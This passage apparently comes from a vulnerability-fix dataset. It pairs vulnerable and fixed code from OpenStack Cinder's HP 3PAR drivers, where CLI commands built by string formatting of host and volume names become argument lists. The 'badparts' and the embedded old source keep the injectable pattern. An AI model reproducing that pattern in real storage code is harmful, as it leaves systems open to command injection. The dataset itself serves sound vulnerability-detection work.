\\n%s\" % (pprint.pformat(out)))\n host = {'id': None, 'name': None,\n 'domain': None,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showhost -verbose %s' % (hostname), None)"], "goodparts": [" out = self._cli_run(['showhost', '-verbose', hostname])"]}, {"diff": "\n \n def get_ports(self):\n # First get the active FC ports\n- out = self._cli_run('showport', None)\n+ out = self._cli_run(['showport'])\n \n # strip out header\n # N:S:P,Mode,State,----Node_WWN----,-Port_WWN/HW_Addr-,Type,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showport', None)"], "goodparts": [" out = self._cli_run(['showport'])"]}, {"diff": "\n ports['FC'].append(tmp[4])\n \n # now get the active iSCSI ports\n- out = self._cli_run('showport -iscsi', None)\n+ out = self._cli_run(['showport', '-iscsi'])\n \n # strip out header\n # N:S:P,State,IPAddr,Netmask,Gateway,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showport -iscsi', None)"], "goodparts": [" out = self._cli_run(['showport', '-iscsi'])"]}, {"diff": "\n ports['iSCSI'][tmp[2]] = {}\n \n # now get the nsp and iqn\n- result = self._cli_run('showport -iscsiname', None)\n+ result = self._cli_run(['showport', '-iscsiname'])\n if result:\n # first line is header\n # nsp, ip,iqn\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" result = self._cli_run('showport -iscsiname', None)"], "goodparts": [" result = self._cli_run(['showport', '-iscsiname'])"]}, {"diff": "\n cli_qos_string += ('-io %s ' % max_io)\n if max_bw is not None:\n cli_qos_string += ('-bw %sM ' % max_bw)\n- self._cli_run('setqos %svvset:%s' %\n- (cli_qos_string, vvs_name), None)\n+ self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])\n \n def _add_volume_to_volume_set(self, volume, volume_name,\n cpg, vvs_name, qos):\n if vvs_name is not None:\n # Admin has set a volume set name to add the volume to\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n else:\n vvs_name = self._get_3par_vvs_name(volume['id'])\n domain = self.get_domain(cpg)\n- self._cli_run('createvvset -domain %s %s' % (domain,\n- vvs_name), None)\n+ self._cli_run(['createvvset', '-domain', domain, vvs_name])\n self._set_qos_rule(qos, vvs_name)\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n \n def _remove_volume_set(self, vvs_name):\n # Must first clear the QoS rules before removing the volume set\n- self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)\n- self._cli_run('removevvset -f %s' % (vvs_name), None)\n+ self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])\n+ self._cli_run(['removevvset', '-f', vvs_name])\n \n def _remove_volume_from_volume_set(self, volume_name, vvs_name):\n- self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)\n+ self._cli_run(['removevvset', '-f', vvs_name, volume_name])\n \n def get_cpg(self, volume, allowSnap=False):\n volume_name = self._get_3par_vol_name(volume['id'])\n", "add": 7, "remove": 11, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run('setqos %svvset:%s' %", " (cli_qos_string, vvs_name), None)", " self._cli_run('createvvset -add %s %s' % (vvs_name,", " volume_name), None)", " self._cli_run('createvvset -domain %s %s' % (domain,", " vvs_name), None)", " self._cli_run('createvvset -add %s %s' % (vvs_name,", " volume_name), None)", " self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)", " self._cli_run('removevvset -f %s' % (vvs_name), None)", " self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)"], "goodparts": [" self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])", " self._cli_run(['createvvset', '-add', vvs_name, volume_name])", " self._cli_run(['createvvset', '-domain', domain, vvs_name])", " self._cli_run(['createvvset', '-add', vvs_name, volume_name])", " self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])", " self._cli_run(['removevvset', '-f', vvs_name])", " self._cli_run(['removevvset', '-f', vvs_name, volume_name])"]}, {"diff": "\n def _copy_volume(self, src_name, dest_name, cpg=None, snap_cpg=None,\n tpvv=True):\n # Virtual volume sets are not supported with the -online option\n- cmd = 'createvvcopy -p %s -online ' % src_name\n+ cmd = ['createvvcopy', '-p', src_name, '-online']\n if snap_cpg:\n- cmd += '-snp_cpg %s ' % snap_cpg\n+ cmd.extend(['-snp_cpg', snap_cpg])\n if tpvv:\n- cmd += '-tpvv '\n+ cmd.append('-tpvv')\n if cpg:\n- cmd += cpg + ' '\n- cmd += dest_name\n+ cmd.append(cpg)\n+ cmd.append(dest_name)\n LOG.debug('Creating clone of a volume with %s' % cmd)\n- self._cli_run(cmd, None)\n+ self._cli_run(cmd)\n \n def get_next_word(self, s, search_string):\n \"\"\"Return the next word.\n", "add": 6, "remove": 6, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" cmd = 'createvvcopy -p %s -online ' % src_name", " cmd += '-snp_cpg %s ' % snap_cpg", " cmd += '-tpvv '", " cmd += cpg + ' '", " cmd += dest_name", " self._cli_run(cmd, None)"], "goodparts": [" cmd = ['createvvcopy', '-p', src_name, '-online']", " cmd.extend(['-snp_cpg', snap_cpg])", " cmd.append('-tpvv')", " cmd.append(cpg)", " cmd.append(dest_name)", " self._cli_run(cmd)"]}, {"diff": "\n NOTE(walter-boring): don't call this unless you know the volume is\n already in a vvset!\n \"\"\"\n- cmd = \"removevv -f %s\" % volume_name\n+ cmd = ['removevv', '-f', volume_name]\n LOG.debug(\"Issuing remove command to find vvset name %s\" % cmd)\n- out = self._cli_run(cmd, None)\n+ out = self._cli_run(cmd)\n vvset_name = None\n if out and len(out) > 1:\n if out[1].startswith(\"Attempt to delete \"):\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" cmd = \"removevv -f %s\" % volume_name", " out = self._cli_run(cmd, None)"], "goodparts": [" cmd = ['removevv', '-f', volume_name]", " out = self._cli_run(cmd)"]}, {"diff": "\n LOG.error(str(ex))\n \n def _get_3par_hostname_from_wwn_iqn(self, wwns_iqn):\n- out = self._cli_run('showhost -d', None)\n+ out = self._cli_run(['showhost', '-d'])\n # wwns_iqn may be a list of strings or a single\n # string. So, if necessary, create a list to loop.\n if not isinstance(wwns_iqn, list)", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showhost -d', None)"], "goodparts": [" out = self._cli_run(['showhost', '-d'])"]}]}, "/cinder/volume/drivers/san/hp/hp_3par_fc.py": {"changes": [{"diff": "\n connector['wwpns'])\n self.common.client_logout()\n \n- def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n+ def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):\n \"\"\"Create a 3PAR host.\n \n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n- % (persona_id, domain,\n- hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-persona', persona_id, '-domain', domain,\n+ hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n \n return hostname\n \n- def _modify_3par_fibrechan_host(self, hostname, wwn):\n+ def _modify_3par_fibrechan_host(self, hostname, wwns):\n # when using -add, you can not send the persona or domain options\n- out = self.common._cli_run('createhost -add %s %s'\n- % (hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-add', hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"", "add": 13, "remove": 7, "filename": "/cinder/volume/drivers/san/hp/hp_3par_fc.py", "badparts": [" def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):", " out = self.common._cli_run('createhost -persona %s -domain %s %s %s'", " % (persona_id, domain,", " hostname, \" \".join(wwn)), None)", " def _modify_3par_fibrechan_host(self, hostname, wwn):", " out = self.common._cli_run('createhost -add %s %s'", " % (hostname, \" \".join(wwn)), None)"], "goodparts": [" def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):", " command = ['createhost', '-persona', persona_id, '-domain', domain,", " hostname]", " for wwn in wwns:", " command.append(wwn)", " out = self.common._cli_run(command)", " def _modify_3par_fibrechan_host(self, hostname, wwns):", " command = ['createhost', '-add', hostname]", " for wwn in wwns:", " command.append(wwn)", " out = self.common._cli_run(command)"]}], "source": "\n \"\"\" Volume driver for HP 3PAR Storage array. This driver requires 3.1.2 MU2 firmware on the 3PAR array. You will need to install the python hp3parclient. sudo pip install hp3parclient Set the following in the cinder.conf file to enable the 3PAR Fibre Channel Driver along with the required flags: volume_driver=cinder.volume.drivers.san.hp.hp_3par_fc.HP3PARFCDriver \"\"\" from hp3parclient import exceptions as hpexceptions from oslo.config import cfg from cinder import exception from cinder.openstack.common import log as logging from cinder import utils import cinder.volume.driver from cinder.volume.drivers.san.hp import hp_3par_common as hpcommon from cinder.volume.drivers.san import san VERSION=1.1 LOG=logging.getLogger(__name__) class HP3PARFCDriver(cinder.volume.driver.FibreChannelDriver): \"\"\"OpenStack Fibre Channel driver to enable 3PAR storage array. Version history: 1.0 -Initial driver 1.1 -QoS, extend volume, multiple iscsi ports, remove domain, session changes, faster clone, requires 3.1.2 MU2 firmware, copy volume <--> Image. \"\"\" def __init__(self, *args, **kwargs): super(HP3PARFCDriver, self).__init__(*args, **kwargs) self.common=None self.configuration.append_config_values(hpcommon.hp3par_opts) self.configuration.append_config_values(san.san_opts) def _init_common(self): return hpcommon.HP3PARCommon(self.configuration) def _check_flags(self): \"\"\"Sanity check to ensure we have required options set.\"\"\" required_flags=['hp3par_api_url', 'hp3par_username', 'hp3par_password', 'san_ip', 'san_login', 'san_password'] self.common.check_flags(self.configuration, required_flags) @utils.synchronized('3par', external=True) def get_volume_stats(self, refresh): self.common.client_login() stats=self.common.get_volume_stats(refresh) stats['storage_protocol']='FC' backend_name=self.configuration.safe_get('volume_backend_name') stats['volume_backend_name']=backend_name or self.__class__.__name__ self.common.client_logout() return stats def do_setup(self, context): self.common=self._init_common() self._check_flags() self.common.do_setup(context) def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" self._check_flags() @utils.synchronized('3par', external=True) def create_volume(self, volume): self.common.client_login() metadata=self.common.create_volume(volume) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_cloned_volume(self, volume, src_vref): self.common.client_login() new_vol=self.common.create_cloned_volume(volume, src_vref) self.common.client_logout() return{'metadata': new_vol} @utils.synchronized('3par', external=True) def delete_volume(self, volume): self.common.client_login() self.common.delete_volume(volume) self.common.client_logout() @utils.synchronized('3par', external=True) def create_volume_from_snapshot(self, volume, snapshot): \"\"\" Creates a volume from a snapshot. TODO: support using the size from the user. \"\"\" self.common.client_login() metadata=self.common.create_volume_from_snapshot(volume, snapshot) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_snapshot(self, snapshot): self.common.client_login() self.common.create_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def delete_snapshot(self, snapshot): self.common.client_login() self.common.delete_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. The driver returns a driver_volume_type of 'fibre_channel'. The target_wwn can be a single entry or a list of wwns that correspond to the list of remote wwn(s) that will export the volume. Example return values: { 'driver_volume_type': 'fibre_channel' 'data':{ 'target_discovered': True, 'target_lun': 1, 'target_wwn': '1234567890123', } } or { 'driver_volume_type': 'fibre_channel' 'data':{ 'target_discovered': True, 'target_lun': 1, 'target_wwn':['1234567890123', '0987654321321'], } } Steps to export a volume on 3PAR * Create a host on the 3par with the target wwn * Create a VLUN for that HOST with the volume we want to export. \"\"\" self.common.client_login() host=self._create_host(volume, connector) vlun=self.common.create_vlun(volume, host) ports=self.common.get_ports() self.common.client_logout() info={'driver_volume_type': 'fibre_channel', 'data':{'target_lun': vlun['lun'], 'target_discovered': True, 'target_wwn': ports['FC']}} return info @utils.synchronized('3par', external=True) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Driver entry point to unattach a volume from an instance.\"\"\" self.common.client_login() self.common.terminate_connection(volume, connector['host'], connector['wwpns']) self.common.client_logout() def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id): \"\"\"Create a 3PAR host. Create a 3PAR host, if there is already a host on the 3par using the same wwn but with a different hostname, return the hostname used by 3PAR. \"\"\" out=self.common._cli_run('createhost -persona %s -domain %s %s %s' %(persona_id, domain, hostname, \" \".join(wwn)), None) if out and len(out) > 1: return self.common.parse_create_host_error(hostname, out) return hostname def _modify_3par_fibrechan_host(self, hostname, wwn): out=self.common._cli_run('createhost -add %s %s' %(hostname, \" \".join(wwn)), None) def _create_host(self, volume, connector): \"\"\"Creates or modifies existing 3PAR host.\"\"\" host=None hostname=self.common._safe_hostname(connector['host']) cpg=self.common.get_cpg(volume, allowSnap=True) domain=self.common.get_domain(cpg) try: host=self.common._get_3par_host(hostname) if not host['FCPaths']: self._modify_3par_fibrechan_host(hostname, connector['wwpns']) host=self.common._get_3par_host(hostname) except hpexceptions.HTTPNotFound as ex: persona_id=self.common.get_persona_type(volume) hostname=self._create_3par_fibrechan_host(hostname, connector['wwpns'], domain, persona_id) host=self.common._get_3par_host(hostname) return host @utils.synchronized('3par', external=True) def create_export(self, context, volume): pass @utils.synchronized('3par', external=True) def ensure_export(self, context, volume): pass @utils.synchronized('3par', external=True) def remove_export(self, context, volume): pass def extend_volume(self, volume, new_size): self.common.extend_volume(volume, new_size) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# (c) Copyright 2013 Hewlett-Packard Development Company, L.P.\n# All Rights Reserved.\n#\n# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\"\"\"\nVolume driver for HP 3PAR Storage array.\nThis driver requires 3.1.2 MU2 firmware on the 3PAR array.\n\nYou will need to install the python hp3parclient.\nsudo pip install hp3parclient\n\nSet the following in the cinder.conf file to enable the\n3PAR Fibre Channel Driver along with the required flags:\n\nvolume_driver=cinder.volume.drivers.san.hp.hp_3par_fc.HP3PARFCDriver\n\"\"\"\n\nfrom hp3parclient import exceptions as hpexceptions\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nimport cinder.volume.driver\nfrom cinder.volume.drivers.san.hp import hp_3par_common as hpcommon\nfrom cinder.volume.drivers.san import san\n\nVERSION = 1.1\nLOG = logging.getLogger(__name__)\n\n\nclass HP3PARFCDriver(cinder.volume.driver.FibreChannelDriver):\n \"\"\"OpenStack Fibre Channel driver to enable 3PAR storage array.\n\n Version history:\n 1.0 - Initial driver\n 1.1 - QoS, extend volume, multiple iscsi ports, remove domain,\n session changes, faster clone, requires 3.1.2 MU2 firmware,\n copy volume <--> Image.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(HP3PARFCDriver, self).__init__(*args, **kwargs)\n self.common = None\n self.configuration.append_config_values(hpcommon.hp3par_opts)\n self.configuration.append_config_values(san.san_opts)\n\n def _init_common(self):\n return hpcommon.HP3PARCommon(self.configuration)\n\n def _check_flags(self):\n \"\"\"Sanity check to ensure we have required options set.\"\"\"\n required_flags = ['hp3par_api_url', 'hp3par_username',\n 'hp3par_password',\n 'san_ip', 'san_login', 'san_password']\n self.common.check_flags(self.configuration, required_flags)\n\n @utils.synchronized('3par', external=True)\n def get_volume_stats(self, refresh):\n self.common.client_login()\n stats = self.common.get_volume_stats(refresh)\n stats['storage_protocol'] = 'FC'\n backend_name = self.configuration.safe_get('volume_backend_name')\n stats['volume_backend_name'] = backend_name or self.__class__.__name__\n self.common.client_logout()\n return stats\n\n def do_setup(self, context):\n self.common = self._init_common()\n self._check_flags()\n self.common.do_setup(context)\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n self._check_flags()\n\n @utils.synchronized('3par', external=True)\n def create_volume(self, volume):\n self.common.client_login()\n metadata = self.common.create_volume(volume)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_cloned_volume(self, volume, src_vref):\n self.common.client_login()\n new_vol = self.common.create_cloned_volume(volume, src_vref)\n self.common.client_logout()\n return {'metadata': new_vol}\n\n @utils.synchronized('3par', external=True)\n def delete_volume(self, volume):\n self.common.client_login()\n self.common.delete_volume(volume)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"\n Creates a volume from a snapshot.\n\n TODO: support using the size from the user.\n \"\"\"\n self.common.client_login()\n metadata = self.common.create_volume_from_snapshot(volume, snapshot)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_snapshot(self, snapshot):\n self.common.client_login()\n self.common.create_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def delete_snapshot(self, snapshot):\n self.common.client_login()\n self.common.delete_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host.\n\n The driver returns a driver_volume_type of 'fibre_channel'.\n The target_wwn can be a single entry or a list of wwns that\n correspond to the list of remote wwn(s) that will export the volume.\n Example return values:\n\n {\n 'driver_volume_type': 'fibre_channel'\n 'data': {\n 'target_discovered': True,\n 'target_lun': 1,\n 'target_wwn': '1234567890123',\n }\n }\n\n or\n\n {\n 'driver_volume_type': 'fibre_channel'\n 'data': {\n 'target_discovered': True,\n 'target_lun': 1,\n 'target_wwn': ['1234567890123', '0987654321321'],\n }\n }\n\n\n Steps to export a volume on 3PAR\n * Create a host on the 3par with the target wwn\n * Create a VLUN for that HOST with the volume we want to export.\n\n \"\"\"\n self.common.client_login()\n # we have to make sure we have a host\n host = self._create_host(volume, connector)\n\n # now that we have a host, create the VLUN\n vlun = self.common.create_vlun(volume, host)\n\n ports = self.common.get_ports()\n\n self.common.client_logout()\n info = {'driver_volume_type': 'fibre_channel',\n 'data': {'target_lun': vlun['lun'],\n 'target_discovered': True,\n 'target_wwn': ports['FC']}}\n return info\n\n @utils.synchronized('3par', external=True)\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Driver entry point to unattach a volume from an instance.\"\"\"\n self.common.client_login()\n self.common.terminate_connection(volume,\n connector['host'],\n connector['wwpns'])\n self.common.client_logout()\n\n def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n \"\"\"Create a 3PAR host.\n\n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n % (persona_id, domain,\n hostname, \" \".join(wwn)), None)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n\n return hostname\n\n def _modify_3par_fibrechan_host(self, hostname, wwn):\n # when using -add, you can not send the persona or domain options\n out = self.common._cli_run('createhost -add %s %s'\n % (hostname, \" \".join(wwn)), None)\n\n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n host = None\n hostname = self.common._safe_hostname(connector['host'])\n cpg = self.common.get_cpg(volume, allowSnap=True)\n domain = self.common.get_domain(cpg)\n try:\n host = self.common._get_3par_host(hostname)\n if not host['FCPaths']:\n self._modify_3par_fibrechan_host(hostname, connector['wwpns'])\n host = self.common._get_3par_host(hostname)\n except hpexceptions.HTTPNotFound as ex:\n # get persona from the volume type extra specs\n persona_id = self.common.get_persona_type(volume)\n # host doesn't exist, we have to create it\n hostname = self._create_3par_fibrechan_host(hostname,\n connector['wwpns'],\n domain,\n persona_id)\n host = self.common._get_3par_host(hostname)\n\n return host\n\n @utils.synchronized('3par', external=True)\n def create_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def ensure_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def remove_export(self, context, volume):\n pass\n\n def extend_volume(self, volume, new_size):\n self.common.extend_volume(volume, new_size)\n"}, "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py": {"changes": [{"diff": "\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n- (persona_id, domain, hostname, iscsi_iqn)\n- out = self.common._cli_run(cmd, None)\n+ cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',\n+ domain, hostname, iscsi_iqn]\n+ out = self.common._cli_run(cmd)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n \n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n- self.common._cli_run('createhost -iscsi -add %s %s'\n- % (hostname, iscsi_iqn), None)\n+ command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]\n+ self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n", "add": 5, "remove": 5, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\", " (persona_id, domain, hostname, iscsi_iqn)", " out = self.common._cli_run(cmd, None)", " self.common._cli_run('createhost -iscsi -add %s %s'", " % (hostname, iscsi_iqn), None)"], "goodparts": [" cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',", " domain, hostname, iscsi_iqn]", " out = self.common._cli_run(cmd)", " command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]", " self.common._cli_run(command)"]}, {"diff": "\n \n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n- result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n+ result = self.common._cli_run(['showvlun', '-a', '-host', hostname])\n if result:\n # first line is header\n result = result[1:]\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" result = self.common._cli_run('showvlun -a -host %s' % hostname, None)"], "goodparts": [" result = self.common._cli_run(['showvlun', '-a', '-host', hostname])"]}, {"diff": "\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n- result = self.common._cli_run('showvlun -a -showcols Port', None)\n+ result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])\n \n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts =", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" result = self.common._cli_run('showvlun -a -showcols Port', None)"], "goodparts": [" result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])"]}], "source": "\n \"\"\" Volume driver for HP 3PAR Storage array. This driver requires 3.1.2 MU2 firmware on the 3PAR array. You will need to install the python hp3parclient. sudo pip install hp3parclient Set the following in the cinder.conf file to enable the 3PAR iSCSI Driver along with the required flags: volume_driver=cinder.volume.drivers.san.hp.hp_3par_iscsi.HP3PARISCSIDriver \"\"\" import sys from hp3parclient import exceptions as hpexceptions from cinder import exception from cinder.openstack.common import log as logging from cinder import utils import cinder.volume.driver from cinder.volume.drivers.san.hp import hp_3par_common as hpcommon from cinder.volume.drivers.san import san VERSION=1.1 LOG=logging.getLogger(__name__) DEFAULT_ISCSI_PORT=3260 class HP3PARISCSIDriver(cinder.volume.driver.ISCSIDriver): \"\"\"OpenStack iSCSI driver to enable 3PAR storage array. Version history: 1.0 -Initial driver 1.1 -QoS, extend volume, multiple iscsi ports, remove domain, session changes, faster clone, requires 3.1.2 MU2 firmware. \"\"\" def __init__(self, *args, **kwargs): super(HP3PARISCSIDriver, self).__init__(*args, **kwargs) self.common=None self.configuration.append_config_values(hpcommon.hp3par_opts) self.configuration.append_config_values(san.san_opts) def _init_common(self): return hpcommon.HP3PARCommon(self.configuration) def _check_flags(self): \"\"\"Sanity check to ensure we have required options set.\"\"\" required_flags=['hp3par_api_url', 'hp3par_username', 'hp3par_password', 'san_ip', 'san_login', 'san_password'] self.common.check_flags(self.configuration, required_flags) @utils.synchronized('3par', external=True) def get_volume_stats(self, refresh): self.common.client_login() stats=self.common.get_volume_stats(refresh) stats['storage_protocol']='iSCSI' backend_name=self.configuration.safe_get('volume_backend_name') stats['volume_backend_name']=backend_name or self.__class__.__name__ self.common.client_logout() return stats def do_setup(self, context): self.common=self._init_common() self._check_flags() self.iscsi_ips={} temp_iscsi_ip={} if len(self.configuration.hp3par_iscsi_ips) > 0: for ip_addr in self.configuration.hp3par_iscsi_ips: ip=ip_addr.split(':') if len(ip)==1: temp_iscsi_ip[ip_addr]={'ip_port': DEFAULT_ISCSI_PORT} elif len(ip)==2: temp_iscsi_ip[ip[0]]={'ip_port': ip[1]} else: msg=_(\"Invalid IP address format '%s'\") % ip_addr LOG.warn(msg) if(self.configuration.iscsi_ip_address not in temp_iscsi_ip): ip=self.configuration.iscsi_ip_address ip_port=self.configuration.iscsi_port temp_iscsi_ip[ip]={'ip_port': ip_port} iscsi_ports=self.common.get_ports()['iSCSI'] for(ip, iscsi_info) in iscsi_ports.iteritems(): if ip in temp_iscsi_ip: ip_port=temp_iscsi_ip[ip]['ip_port'] self.iscsi_ips[ip]={'ip_port': ip_port, 'nsp': iscsi_info['nsp'], 'iqn': iscsi_info['iqn'] } del temp_iscsi_ip[ip] if(self.configuration.iscsi_ip_address in temp_iscsi_ip): del temp_iscsi_ip[self.configuration.iscsi_ip_address] if len(temp_iscsi_ip) > 0: msg=_(\"Found invalid iSCSI IP address(s) in configuration \" \"option(s) hp3par_iscsi_ips or iscsi_ip_address '%s.'\") % \\ (\", \".join(temp_iscsi_ip)) LOG.warn(msg) if not len(self.iscsi_ips) > 0: msg=_('At least one valid iSCSI IP address must be set.') raise exception.InvalidInput(reason=(msg)) self.common.do_setup(context) def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" self._check_flags() @utils.synchronized('3par', external=True) def create_volume(self, volume): self.common.client_login() metadata=self.common.create_volume(volume) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_cloned_volume(self, volume, src_vref): \"\"\"Clone an existing volume.\"\"\" self.common.client_login() new_vol=self.common.create_cloned_volume(volume, src_vref) self.common.client_logout() return{'metadata': new_vol} @utils.synchronized('3par', external=True) def delete_volume(self, volume): self.common.client_login() self.common.delete_volume(volume) self.common.client_logout() @utils.synchronized('3par', external=True) def create_volume_from_snapshot(self, volume, snapshot): \"\"\" Creates a volume from a snapshot. TODO: support using the size from the user. \"\"\" self.common.client_login() metadata=self.common.create_volume_from_snapshot(volume, snapshot) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_snapshot(self, snapshot): self.common.client_login() self.common.create_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def delete_snapshot(self, snapshot): self.common.client_login() self.common.delete_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. This driver returns a driver_volume_type of 'iscsi'. The format of the driver data is defined in _get_iscsi_properties. Example return value: { 'driver_volume_type': 'iscsi' 'data':{ 'target_discovered': True, 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001', 'target_protal': '127.0.0.1:3260', 'volume_id': 1, } } Steps to export a volume on 3PAR * Get the 3PAR iSCSI iqn * Create a host on the 3par * create vlun on the 3par \"\"\" self.common.client_login() host=self._create_host(volume, connector) vlun=self.common.create_vlun(volume, host) self.common.client_logout() iscsi_ip=self._get_iscsi_ip(host['name']) iscsi_ip_port=self.iscsi_ips[iscsi_ip]['ip_port'] iscsi_target_iqn=self.iscsi_ips[iscsi_ip]['iqn'] info={'driver_volume_type': 'iscsi', 'data':{'target_portal': \"%s:%s\" % (iscsi_ip, iscsi_ip_port), 'target_iqn': iscsi_target_iqn, 'target_lun': vlun['lun'], 'target_discovered': True } } return info @utils.synchronized('3par', external=True) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Driver entry point to unattach a volume from an instance.\"\"\" self.common.client_login() self.common.terminate_connection(volume, connector['host'], connector['initiator']) self.common.client_logout() def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id): \"\"\"Create a 3PAR host. Create a 3PAR host, if there is already a host on the 3par using the same iqn but with a different hostname, return the hostname used by 3PAR. \"\"\" cmd='createhost -iscsi -persona %s -domain %s %s %s' % \\ (persona_id, domain, hostname, iscsi_iqn) out=self.common._cli_run(cmd, None) if out and 